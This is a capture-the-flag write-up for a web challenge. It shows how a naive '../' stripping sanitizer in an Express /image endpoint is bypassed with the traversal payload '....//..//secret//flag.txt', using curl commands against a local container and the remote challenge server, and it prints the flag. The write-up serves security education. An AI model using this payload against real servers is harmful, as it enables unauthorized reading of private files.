//Image Gallery
//Image Gallery (WEB) Writeup
>TL;DR
A naive path sanitizer in /image?file= only removed literal ../ substrings. By feeding the application ....//..//secret//flag.txt, the sanitizer glued together fresh ../ sequences that path.join normalized into /app/secret/flag.txt. The same payload worked locally and on the remote challenge instance, yielding the flag flag{sTr1pp1ng_d0Ts_and_SLasH3s_d03sNt_sTr1p_bUgs}.
>1. Challenge Overview
- Category: Web (LFI)
- Author: c00k1e
- Service URL:
http://104.198.24.52:6012/ - Goal: Read the secret flag stored under
/app/secret/flag.txt.
The provided archive gallery.zip unpacked into a minimal Express app that lists images and exposes an /image endpoint for fetching individual files from /app/images.
>2. Local Environment Setup
- Extract project:
unzip gallery.zip && cd gallery
- Run dependencies: application ships with
package-lock.jsonandnode_modules/, sonpm installwas unnecessary. A Dockerfile was also provided; I used it to isolate the service:
docker build -t gallery-app .
nohup docker run --rm -p 18000:8000 --name gallery-app-run gallery-app >> docker-run.log 2>&1 &
- Confirm service:
curl -I [http://localhost:18000](http://localhost:18000/)
# HTTP/1.1 200 OK
With the container running locally, I could inspect requests freely without touching the remote instance.
>3. Code Review & Vulnerability Discovery
The interesting logic lives in server.js:
app.get('/image', (req, res) => {
let file = req.query.file || '';
file = decodeURIComponent(file);
file = file.replace(/\\\\/g, '/');
file = file.split('../').join('');
const resolved = path.join(BASE_DIR, file);
fs.readFile(resolved, ...);
});
Key observations:
- Only literal
../substrings are stripped. - Anything else (extra dots, extra slashes) survives.
- After sanitization,
path.join(BASE_DIR, file)is called. Iffilestill contains..,path.joinwill escape/app/images.
Bypassing the Sanitizer
When the input contains four dots before the slash (....//), the string splits like this:
decodeURIComponent→ unchanged.replace(/\\\\/g, '/')→ unchanged.split('../').join('')removes the literal../tokens but glues together parts that form new../sequences.
Example run directly in Node:
node <<'EOF'
let file = '....//..//secret//flag.txt';
file = file.replace(/\\\\/g,'/');
file = file.split('../').join('');
console.log(file);
EOF
# Output: ..//secret//flag.txt
path.join('/app/images', '..//secret//flag.txt') then resolves to /app/secret/flag.txt.
>4. Local Exploitation
With the theory confirmed, I hit my local container:
curl -s '<http://localhost:18000/image?file=....//..//secret//flag.txt>'
Response:
flag{remote_flag_don't_submit_this}
That file was intentionally marked as a placeholder, but it verified the exploit path and payload syntax.
>5. Remote Exploitation
Once confident locally, I targeted the challenge server:
curl -s '<http://104.198.24.52:6012/image?file=....//..//secret//flag.txt>'
Remote response:
flag{sTr1pp1ng_d0Ts_and_SLasH3s_d03sNt_sTr1p_bUgs}
The payload worked first try because the remote server runs the same code with the same flawed sanitizer.